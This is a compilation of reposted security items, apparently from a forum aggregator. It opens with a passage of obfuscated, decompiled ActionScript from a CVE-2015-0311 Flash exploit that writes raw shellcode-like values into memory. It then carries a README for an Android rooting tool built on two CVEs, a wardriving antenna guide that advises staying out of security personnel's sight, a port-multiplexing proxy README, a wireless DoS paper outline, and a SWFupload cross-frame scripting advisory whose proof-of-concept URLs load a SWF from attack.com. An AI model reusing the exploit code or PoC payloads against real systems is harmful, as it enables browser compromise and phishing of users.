_loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.5214239823111123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,3.096481936E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.52142317123184123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,3.209168777E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,_loc7_); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.5214239823111123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,542662); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,3.372204081E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,2.160037192E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,1224736766); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,1200224905); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,16824584); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,2.370306048E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,196799); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,1705702144); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,621054792); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,16); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,3.100019016E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,this.521423812394123423632234); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,147227464); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,4.168418873E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,1223723336); _loc10_ = _loc10_ + 4; if(!this.return const) { this.52142316823181123423632234(_loc10_,2.370361225E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,98458); _loc10_ = _loc10_ + 4; } else { this.52142316823181123423632234(_loc10_,2.370360969E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,98490); _loc10_ = _loc10_ + 4; } this.52142316823181123423632234(_loc10_,3.2973312E9); _loc10_ = _loc10_ + 4; this.52142316823181123423632234(_loc10_,2.425393347E9); _loc10_ = _loc10_ + 4; param1.position = 0; while(param1.position < param1.length) { _loc11_ = param1.readUnsignedInt(); this.52142316823181123423632234(_loc10_,_loc11_); _loc10_ = _loc10_ + 4; } } private final function do var() : Boolean { var _loc4_ = true; var _loc5_ = false; var _loc1_:uint = (this.null const - 8) / 4; this.52142311923132123423632234[_loc1_] = this.do; var _loc2_:uint = this.break for + 1; var _loc3_:Vector.<uint> = this.521423262339123423632234[_loc2_] as Vector.<uint>; _loc3_.length = this.52142317123184123423632234 * 2; return true; } private final function finally const() : ByteArray { var _loc1_ = true; var _loc2_ = false; return this.false const.set(this.static for); } private final function import for(param1:String) : Boolean { var _loc3_ = false; var _loc4_ = true; if(!this.52142317723190123423632234()) { return false; } this.false const = new 52142312223135123423632234(this.52142313423147123423632234(param1)); this.include set(); this.52142316923182123423632234(); if(!this.521423722385123423632234()) { return false; } if(!this.while var()) { return false; } if(!this.const const()) { return false; } var _loc2_:Boolean = this.52142392322123423632234(); if(!this.dynamic const) { if(!_loc2_) { this.52142314923162123423632234(); return false; } if(!this.default var()) { this.52142314923162123423632234(); return false; } this.const for(this.get var()); if(!this.521423742387123423632234()) { this.52142314923162123423632234(); return false; } } else { if(!_loc2_) { this.dynamic var(); return false; } if(!this.52142312323136123423632234()) { this.dynamic var(); return false; } this.throw set(this.finally const()); if(!this.do var()) { this.dynamic var(); return false; } } return true; } private final function 521423132326123423632234(param1:String) : String { var _loc5_ = false; var _loc6_ = true; var _loc2_:ByteArray = null; var _loc3_:ByteArray = null; try { _loc2_ = function var.null set(param1); _loc3_ = 52142317523188123423632234.52142342317123423632234(_loc2_); return _loc3_.readUTFBytes(_loc3_.length); } catch(error:Error) { } return null; } private final function 52142313423147123423632234(param1:String) : String { var _loc11_ = false; var _loc12_ = true; var _loc9_ = 0; var _loc10_:String = null; var _loc2_:String = null; var _loc3_:String = function var.52142310823121123423632234(unescape(param1)); var _loc4_:Number = _loc3_.length; if(_loc4_ < this.521423192332123423632234 + 1) { return _loc2_; } var _loc5_:String = _loc3_.substr(_loc4_ - this.521423192332123423632234,this.521423192332123423632234); _loc2_ = _loc3_.substr(0,_loc4_ - this.521423192332123423632234); var _loc6_:int = loaderInfo.loaderURL.lastIndexOf("/") + 1; var _loc7_:String = loaderInfo.loaderURL.substr(0,_loc6_); _loc2_ = unescape(_loc7_ + _loc2_); var _loc8_:String = this.521423132326123423632234(this.52142318723200123423632234); if(_loc8_ != null) { _loc9_ = 3; if(_loc8_.length < _loc9_) { return _loc2_; } _loc8_ = _loc8_.substr(0,_loc8_.length - _loc9_); _loc10_ = 52142362319123423632234.52142318323196123423632234(_loc2_ + _loc8_); this.static for = _loc10_ == _loc5_?1:0; } return _loc2_; } private final function continue(param1:Event = null) : void { var _loc2_ = true; var _loc3_ = false; removeEventListener(Event.ADDED_TO_STAGE,this.continue); this.import for(stage.loaderInfo.parameters[_a_--._a_--(-1820302790)].toString()); } } } Sursa: KernelMode.info • View topic - CVE-2015-0311

giefroot A tool to root your device using CVE-2014-7911 (by Keen Team) and CVE-2014-4322 (by zxz0O0). System rw access & SuperSU installation. Requirements USB debugging enabled Settings => About phone => Click 7 times on Android Build to unlock developer options Allow mock locations Settings => Developer Settings adb drivers installed Firmware < October 2014 (kernel and system) How to use Download the tool (latest version) and extract it Start your device and plug it to your computer Put your device in air plane mode Run install.bat and follow the instructions on screen Congratulations! You should now be rooted. If you get an error "Device not rooted", try running the tool a second time. Don't forget to make a donation What can you do next Make a donation to the people involved Backup TA partition / DRM keys http://forum.xda-developers.com/show....php?t=2292598 Install dualrecovery by [NUT] Download Z??-lockeddualrecovery2.X.XXX-BETA.installer.zip from -=- [NUT]'s XDA download page -=-, run install.bat and select Option #1 Note if you have problems after installing recovery, this thread is not the place to ask for help! Download v2 Thanks to Big thanks to Keen Team for developing the CVE-2014-7911 exploit. Original thread: http://forum.xda-developers.com/mate...6/post57991147 Code: 88 a8P 88888888888 88888888888 888b 88 88 ,88' 88 88 8888b 88 88 ,88" 88 88 88 `8b 88 88,d88' 88aaaaa 88aaaaa 88 `8b 88 8888"88, 88""""" 88""""" 88 `8b 88 88P Y8b 88 88 88 `8b 88 88 "88, 88 88 88 `8888 88 Y8b 88888888888 88888888888 88 `888 Huawei Ascend Mate 7 root utility Present by Keen Team: Liang Chen, flanker017 - CVE-2014-7911 exploit idl3r - Kernel vulnerability and exploit Special thanks to: Yaron Lavi and Nadav Markus from Palo Alto Networks for "Mock Location" trick Chainfire for SuperSU KingRoot (kingroot??_??ROOT??_ROOT????_??????ROOT??) for testing devices Tested on MT7-TL10 and MT7-CL00 China Domestic edition with B122 SP06 (2014/12/30) May or may not work on international editions Additionally, thanks to: Chainfire: SuperSU developer MohammadAG: Disable RIC kernel module (Link) idler1984: Trick for stopping system_server Changelog v2 Fix phone rebooting before exploit completed (thanks idler1984!) Fix error allocating memory for exploit code . [*]v1 Initial release XDA: DevDB Information giefroot - rooting tool, Tool/Utility for the OEM Cross Device Development Contributors zxz0O0 Version Information Status: Beta Created 2015-01-24 Last Updated 2015-01-26 Sursa: http://forum.xda-developers.com/crossdevice-dev/sony/giefroot-rooting-tool-cve-2014-4322-t3011598

Antenna Theory for Wardriving and Penetration Testing Introduction Wardriving is an activity in which a person seeks wireless access points in moving vehicles with high gain antennas mounted on the top. Usually, this access point data is correlated with GPS positions and marked on publicly accessible maps such as WiGLE. On the other hand, wireless penetration tests are focused evaluations of wireless security pertaining to an organization. In both of these cases—and any type of wireless communication—antennas play a critical role. They can mean the difference between hassle-free communication and bitter frustration. However, antenna designs and related implications are arcane topics in requirement of sincere exploration by security enthusiasts. The antennas in your arsenal can make or break your wardriving or wireless penetration testing efforts. Whether you are a wardriving aficionado or a wireless penetration tester, this paper is intended to help you deduce the best antenna for your requirements. Terminology You Should Know Wi-Fi operates in the 2.4 GHz radio frequency that is measured in decibels or db. In order to be able to comprehend discussions germane to the performance of antennas, you must familiarize yourself with the following terms: dBm – dBm means decibel milliwatts. Wi-Fi network signal levels are usually measured using dBm. The negative sign is used because the transmission power is never strong enough for the signal level to be positive. For instance, to get a 0.00 dBm signal, you would need a transmission power of 0.001 watts. -30 dBm- Maximum possible value; you are right next to the access point (within a few feet). -67 dBm- Minimum requirement for timely packet delivery (e.g. for VoIP or video streaming). -70 dBm- Minimum requirement for reliable packet delivery (e.g. for web surfing). -80 dBm- Minimum requirement for maintaining a basic connection; you will experience some packet drops. -90 dBm- Barely able to maintain a connection; SNR is low; functionality is severely impaired. Link Quality: Simply stated, link quality is indicative of the SNR (Signal to Noise Ratio), which is a measurement of interference versus the strength of your ‘point-to-point’ or ‘point-to-multipoint’ link. Accordingly, higher link quality will imply lower number of packet errors. Antenna Gain: Do not be confused by this term, the antenna does not actually amplify anything. Antenna gain is a figure that reflects how efficiently your receiving antenna would convert Wi-Fi radio waves into electrical power. Antennas with a gain of 2 dBi, 5 dBi, 7dBi, 9 dBi, 13 dBi etc are available. A common mistake is to think that the one with a high dBi would be the best (e.g. 13 dBi). To understand why this is a misconception, consider the following rough sketch [Figure 1]: Figure 1 As evident from this figure, a higher (9) dBi antenna is suitable for long horizontal ranges with the receiver and transmitter at roughly the same elevation. However, if the transmitter is placed vertically above the receiver—as in floors of a building—then a 5 dBi antenna would be your best bet. If the transmitter is at a different elevation and at a long distance from the receiver, a 7 dBi antenna would offer you the right combination of elevation and range. A 2 dBi antenna aims to cover signals equally in all directions, and is not well-suited for wireless penetration testing or wardriving. How well do these antennas work? The short answer is: If correctly chosen, they perform well. The right type of antenna, with proper orientation, is able to pick up signals from miles away. However, it is imperative to point out here that many users who purchase external antennas end up being dissatisfied with their performance. The reasons for this are: Unrealistic expectations: This may seem obvious but these antennas are not magical devices that will pick up signals from great distances, especially when they are improperly chosen (wrong type of antenna) or have not been calibrated (aligned) well. Insufficient knowledge: If you are purchasing a wireless antenna, or constructing a custom one, you should be able to define your purpose and have the knowledge to choose the proper antenna that would satisfy this purpose. To test how well an external antenna performs in contrast with a laptop’s default antenna under the same conditions, we set up the following experiment. The distance between the access point and our antennas was carefully chosen so that the internal antenna could barely receive a signal at this point. Interfaces: ‘wlan0?- internal antenna, ‘wlan1?- external antenna, omnidirectional, 5 dBi Distance between AP and antennas: 7.62 meters or 25 feet Obstructions: Two concrete walls and two trees We noticed that at this distance, using the internal antenna, we were barely able to ping the wireless router at 192.168.0.1. As evident from the roundtrip delay time of several milliseconds [Figure 2], the internal antenna was performing poorly and there were multiple packet drops. Figure 2 At the same distance, our standard 5 dBi omidirectional external antenna was able to outperform the internal antenna, as evident by the decreased roundtrip delay time [Figure 3]. Figure 3 Let us examine the performance of both antennas in terms of link quality and signal levels. For the internal antenna, both the link quality and the signal level were extremely poor [Figure 4]. Figure 4 We were able to obtain a reliable connection using the external antenna under same conditions [Figure 5]. Figure 5 These results indicate that there is a definite performance boost when an external antenna is used—how significant this boost is would depend on the suitability of the antenna for the receiving conditions. This brings us to the next section. Choosing the Right Type of Antenna There are a variety of antenna types, and each type is built with specific needs in mind. There is no “best antenna for wardriving or penetration testing”. Understanding the design and purpose of each of these would help you choose the best one. An omnidirectional antenna spreads energy equally in all directions—which means shorter range. A directional antenna is able to take this same energy and focus it towards a particular direction—implying longer range in that direction. Omni-Directional Antennas This is the most common antenna type, and most if not all of you have seen one up close. For instance, the antenna on top of your car is an omnidirectional antenna. These can be used for ‘point-to-multipoint’ purposes such as to serve as the wireless router antenna that transmits signals to all devices in the vicinity [Figure 6]. These are not suitable to be used for point-to-point communications because transmitting signals in all directions, when you want them to go from point A to point B, is an inefficient choice. Figure 6 Suitability for wardriving: These are ideally suited for wardriving, since they grab signals from all directions while you are driving. However, there are some considerations: a 9 dBi omnidirectional antenna would allow you to capture far off signals from all directions, but it will miss access points in high buildings close to your vehicle. To understand why, see Figure 1. Accordingly, it is advised that you choose the correct dBi omnidirectional antenna suited for the areas you are going to drive in. Suitability for penetration testing: During a penetration test, you are aware of your target. Hence, a directional antenna pointed toward the target is more efficient than an omnidirectional antenna. However, you can use a 5 dBi omnidirectional antenna during perimeter testing. Parabolic Antennas Parabolic antennas depend on a curved parabolic surface dish that focuses signals towards a central point [Figure 7]. This enables these antennas to put out incredible gains. However, parabolic antennas are highly directional, which means you need to ensure that they are pointed in the right direction, otherwise they might completely “shield” the signal. Because of their high gain, they are suitable for long range point to point communications. Figure 7 Suitability for wardriving: A parabolic antenna would pick up wireless signals from miles away but only from a single direction at a time. Hence, if you want to map Wi-Fi access points in multiple directions while driving, this is not the best choice. Suitability for penetration testing: Given their long range, parabolic antennas can be very suitable for targeted wireless intrusions, since they allow you to carry out tests from far away once you have positioned them toward target access points. Yagi Antennas Yagi antennas, named after Dr. Hidetsugu Yagi, have a central beam with many individual elements supported by this beam [Figure 8]. These elements constitute radiators and reflectors. A variation is the ‘Vagi’ antenna, which is comprised of two beams side by side. Figure 8 Suitability for wardriving: Yagi antennas are directional, which means they are not the best choice during wardriving. They would pick up far off signals from a particular direction, while missing out on signals in the other directions. Suitability for penetration testing: Like parabolic antennas, Yagi antennas are capable of picking up signals from miles away. Their high gain (e.g. 25 dBi) makes them ideal for penetration testing when you have them pointed towards the target. The Vagi antenna is an attractive choice for penetration testing since they are small and lightweight, yet offer substantial gains. Backfire antennas Backfire antennas are known to have a small size but a significant gain. This makes them a very attractive choice for point-to-point or point-to-multipoint communications. How do they differ from parabolic antennas? There is no parabola; the reflector surface is flat. Their resonant cavity structural design makes them capable of achieving the high gain. For suitability toward wardriving and penetration testing, see ‘Parabolic Antennas’. Building Your Own High Gain Antenna If you have followed this discussion on antennas so far, building your own antenna can be a fun exercise. For this, you will need: About 1-2 inch of 12 gauge copper wire or an omnidirectional antenna A smooth metallic parabolic reflector such as aluminum foil, a can, an 8 inch dumpling strainer, etc. How to Make a Cantenna Cantennas, antennas made out of cans, have been very popular among enthusiasts since they are easy to make and everything you need is in your home. The idea is to use a ‘Pringles’ or similar can, and introduce a copper wire near the bottom from the side of the can [Figure 9]. Calculations regarding the placement of the copper wire need to be precise. You can use this calculator to ensure accuracy. Figure 9 However, if the can is very narrow, you would need to point this antenna very precisely towards the signal direction and even then you would not notice significant gain. Moreover, if you are using a long cable, signals would suffer attenuation. Note: Although a Pringles can is often mentioned, it is not a good can to be used for these purposes since it is too narrow. In fact, any cantenna is a bad choice for serious penetration testing. How to Make a Parabolic Antenna If you have an omnidirectional antenna available [Figure 6], the task becomes easier. Now, all you need to do is find a parabolic reflector that can “turn” this omnidirectional antenna into a parabolic antenna. This parabolic reflector can be any smooth metallic surface that can converge radio signals over the omnidirectional antenna—and this is what improves the antenna gain [Figure 10]. Figure 10 Accurate placement of the omnidirectional antenna in front of the parabolic reflector is of prime significance. There is no increase in antenna gain if an inexperienced person has placed the omnidirectional antenna too far or too close to the parabolic reflector so that it completely misses the focal point. Hence, for accuracy, use this parabolic antenna focal point calculator. Alternatively, if you prefer to avoid making calculations, you can use freely available parabolic reflector templates which have been drawn to scale. These templates explicitly mark the focal point of the parabolic reflector so that you do not have to make calculations. For instance, you can print and use the parabolic reflector template in Figure 11. You would need a square sheet of reflective material that you can place vertically on the straight line drawn in this template, and bend the sheet until it synchronizes with the parabolic curve in the template. Notice the marked focal point (black spot) in the template; place the omnidirectional antenna at that point. Figure 11 Note: We have discussed making parabolic reflectors; however, if you want to build a 2.4 GHz omnidirectional antenna from scratch, it can get quite convoluted. You can follow this link to build such an omnidirectional antenna. Comparison to Commercial Antennas These homemade antennas are capable of giving you results as good as commercial antennas. However, you need to be accurate while building these. Imprecise measurements, design flaws, or implementation errors would result in inefficient antennas with no significant gain. Turning Your Laptop’s Internal Antenna to an External Antenna In case you have some 5 or 7 dBi antennas from your old wireless router lying around [Figure 6], and you want to avoid purchasing a USB antenna unit, you can attach these to your laptop’s built-in internal antenna unit. For this, you will need: U.FL male to RP-SMA pigtail cable Knowledge of laptop disassembly and assembly, and relevant tools Any 2.4 GHz antenna [Figure 6] You would need to disassemble your laptop using required tools and locate the auxiliary antenna connector on the motherboard [Figure 12]. The U.FL side of the cable would fit into this auxiliary connector, and the other side should be fixed along the laptop’s edges such that you can attach your 2.4 GHz external antenna to this SMA (SubMiniature version A) end. Figure 12 Detriments to Wireless Signals Even with the right type of antenna, you may experience weak connections characterized by frequent packet drops and delays. In these situations, one or more of these factors may be the cause: Distance: The most obvious reason is that you are too far from the transmitter. Signals get attenuated over long distances, especially when omnidirectional transmitters are being used, such as those used by common wireless routers. Weather: If an efficient transmitting antenna is being used at the right frequency, weather would have little effect on wireless signals. However, rain can absorb radio signals and enervate Wi-Fi signals at 2.4 GHz. Objects in path: Signals at 2.4 GHz frequency need a clear ‘line-of-sight’ for efficient propagation. This means that trees and walls act as obstructions to the wireless signal. Other access points – If there are other APs in the vicinity that are working on the same channel in crowded areas, this would cause substantial disturbance. Conclusion Wardriving is not illegal as long as you are aware of your limits and avoid nefarious activities such as cracking encryption, retrieving access point passwords, and accessing the Internet for free—known as Piggybacking. For wardriving, you can use a 7 dBi omnidirectional antenna placed on top of your vehicle using a magnetic-mount. For wireless penetration testing scenarios in which you want to breach the security of a particular establishment, it is best to use parabolic reflectors pointed towards the target. Depending on the conditions, these parabolic antennas would allow you carry out wireless penetration tests from a long distance which would lower the risk of being noticed by security personnel. Furthermore, using high gain directional antennas, you are able to ascertain how close to the target perimeter would the potential attackers need to be in order to intrude on wireless communications. A 5 or 7 dBi omnidirectional antenna can be used while testing premises for the presence of rogue access points. References [1] M. Erskine. (2002-2003) http://www.freeantennas.com/. [Online]. http://www.freeantennas.com/projects/template/ [2] Tim Pozar. Late Night Software. [Online]. http://www.lns.com/papers/BAWUG-antenna101/ [3] R. Dean Straw, L. B. Cebik, and Dave Hallidy, Eds., ARRL Antenna Book, 22nd ed.: The American Radio Relay League, Inc., October 2011. [4] Frank Thornton Russ Rogers, “Understanding Antennas and Antenna Theory,” in WarDriving and Wireless Penetration Testing.: Syngress, 2007, ch. 2, pp. 31-59. By Pranshu Bajpai|January 22nd, 2015 Sursa: http://resources.infosecinstitute.com/antenna-theory-wardriving-penetration-testing/

Run SSH and HTTP(S) on the same port Switcher Switcher is a proxy server which accepts connections and proxies based on which protocol is detected. Currently implemented is: SSH The use case is running HTTP(S) and SSH on the same port. Usage Download release or Build: make To get help: $ ./switcher --help Switcher 1.0.0 usage: switcher [options] Options: --listen <:80> Server Listen Address --ssh <127.0.0.1:22> SSH Server Address --default <127.0.0.1:8080> Default Server Address Examples: To serve SSH(127.0.0.1:22) and HTTP(127.0.0.1:8080) on port 80 $ switcher To serve SSH(127.0.0.1:2222) and HTTPS(127.0.0.1:443) on port 443 $ switcher --listen :443 --ssh 127.0.0.1:2222 --default 127.0.0.1:443 Example Run switcher on HTTP port 80, proxy to SSH on 127.0.0.1:22 and Nginx on 127.0.0.1:8080 $ switcher --listen :80 --ssh 127.0.0.1:22 --default 127.0.0.1:8080 To test HTTP: $ curl -I http://my-server.local HTTP/1.1 200 OK To test SSH $ ssh james@my-server.local -p 80 Password: Why not sslh Switcher is heavily influenced by sslh. It started out as a learning exercise to discover how sslh worked and attempt an implementation in Go. The result is useful in its own right through use of Go's interfaces for protocol matching (making adding new protocols trivial), and lightweight goroutines (instead of forking, which is more CPU intensive under load). License 3-Clause "Modified" BSD Licence. License Sursa: https://github.com/jamescun/switcher

Denial of Service Attacks in WirelessNetworks BUSINESS NEED FOR SECURITY Denial of Service Attacks in WirelessNetworks ByMallikarjun Hangargi Graduate StudentMaster of Science in Information Assurance Northeastern University Table of Contents I. Introduction……………………………………………………………………………………………………………………1 II. Jamming (intentional interference) & unintentional interference at the Physical layer….2 III. Intentional DoS at the Media Access Control (MAC) layer like Masquerading attacks and Resource exhaustion attack……………………………………………………………………………………………7 A. Lack of management and control frame protection………………………………………………....7 i. Resource Exhaustion attack………………………………………………………………………………….8 ii. De-authentication Flooding attack……………………………………………………………………..10 iii. Disassociation Flooding attack……………………………………………………………………………12 IV. Conclusion……………………………………………………………………………………………………………………14 V. Reference…………………………………………………………………………………………………………………….15 Download: http://packetstorm.foofus.com/papers/wireless/DoS_attacks_in_wireless_networks.pdf

SWFupload 2.5.0 Cross Frame Scripting Authored by MindCracker | Site vulnerability-lab.com SWFupload version 2.5.0 suffers from a cross frame scripting vulnerability. Document Title:=============== SWFupload 2.5.0 - Cross Frame Scripting (XFS) Vulnerability References (Source): ==================== http://www.vulnerability-lab.com/get_content.php?id=1422 Release Date: ============= 2015-01-25 Vulnerability Laboratory ID (VL-ID): ==================================== 1422 Common Vulnerability Scoring System: ==================================== 2.3 Product & Service Introduction: =============================== SWFUpload is a JavaScript Library that wraps the Flash Player`s upload function. It brings your uploads to the next level with Multiple File Selection, Upload Progress and Client-side File Size Checking. Unlike other Flash upload tools, SWFUpload leaves the UI in the developer`s hands. Using a set of event handlers developers can display upload progress and status to the user in their own HTML/CSS UI. SWFUpload has been featured in such projects as YouTube and WordPress. (Copy of the Vendor Homepage: http://sourceforge.net/projects/swfupload.mirror/ ) Abstract Advisory Information: ============================== An indepnedent Vulnerability Laboratory Researcher discovered multiple client-side cross frame scripting vulnerability in the official SWFupload v2.5.0 script. Vulnerability Disclosure Timeline: ================================== 2015-01-25: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Unpublished Affected Product(s): ==================== SF-Editor Product: SWFUpload - JavaScript & Flash Upload Library 2.5.0 Exploitation Technique: ======================= Remote Severity Level: =============== Medium Technical Details & Description: ================================ Multiple Cross Frame Scripting Vulnerabilities has been discovered in the official SWFupload v2.5.0 script. The cross frame scripting vulnerability occurs when a SWF file has the permission or is able able to load another file as source of another directory/site.The vulnerable swf file can be exploited by remote attackers without privileged application user account and low or medium user interaction. As you can see the .buttonTextStyle variable (view: proof of concept) is not well configured (adding the value) and the ButtonTextStyle will accept any value. The vulneralbe SWF will loads any file that is getting attached to the parameter by default configuration. Remote attackers are able to exploit the issue with medium or high user interaction. The security risk of the client-side cross frame scripting web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.3. Exploitation of the client-side remote vulnerability requires medium or high user interaction and no privileged application user account. Successful exploitation results in client-side phishing, client-side external redirects and non-persistent manipulation of affected- or connected module context. Vulnerable Service(s): [+] GET Vulnerable File(s): [+] buttontextstyle.swf [+] swfupload.swf Vulnerable Parameter(s): [+] buttonTextStyle Proof of Concept (PoC): ======================= 1.1 The client-side XFS vulnerability can be exploited by remote attackers without privileged application user account and with medium or high user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC: http://victim.com/buttontextstyle.swf?buttonTextStyle=http://attack.com/Exploiting.swf[CLIENT-SIDE SCRIPT CODE EXECUTION!] Vulnerable Code : ExternalInterface.addCallback("SetButtonTextStyle",this.SetButtonTextStyle); this.SetButtonTextStyle(String(root.loaderInfo.parameters.buttonTextStyle)); } catch(ex:Object) { this.SetButtonTextStyle(""); } try { 1.2 The client-side XFS vulnerability can be exploited by remote attackers without privileged application user account and with medium or high user interaction. For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue. PoC: http://victim.com/swfupload.swf?buttonTextStyle=http://attack.com/Exploiting.swf[CLIENT-SIDE SCRIPT CODE EXECUTION!] ExternalInterface.addCallback("SetButtonText",this.SetButtonText); SetButtonText { this.SetButtonText(String(root.loaderInfo.parameters.buttonText)); } catch(ex:Object) { this.SetButtonText(""); } try { Solution - Fix & Patch: ======================= The vulnerability can be patched by a secure parse and encode of the vulnerable `buttonTextStyle` value in the buttontextstyle.swf and swfupload.swf files. Restrict the input to the vulnerable values and disallow special chars. Filter with an own exception-ahndling to prevent execution of client-side injected script codes. Security Risk: ============== The security risk of the client-side web vulnerability is estimated as medium. Credits & Authors: ================== MindCracker - Team MaDLeeTs (MindCrackerKhan@gmail.com - Maddy@live.com.pk | https://twitter.com/MindCrackerKhan) Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material. Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com Section: magazine.vulnerability-db.com - vulnerability-lab.com/contact.php - evolution-sec.com/contact Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/ Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact (admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission. Copyright © 2015 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY - RESEARCH TEAM SERVICE: www.vulnerability-lab.com CONTACT: research@vulnerability-lab.com PGP KEY: http://www.vulnerability-lab.com/keys/admin@vulnerability-lab.com%280x198E9928%29.txt Sursa: SWFupload 2.5.0 Cross Frame Scripting ? Packet Storm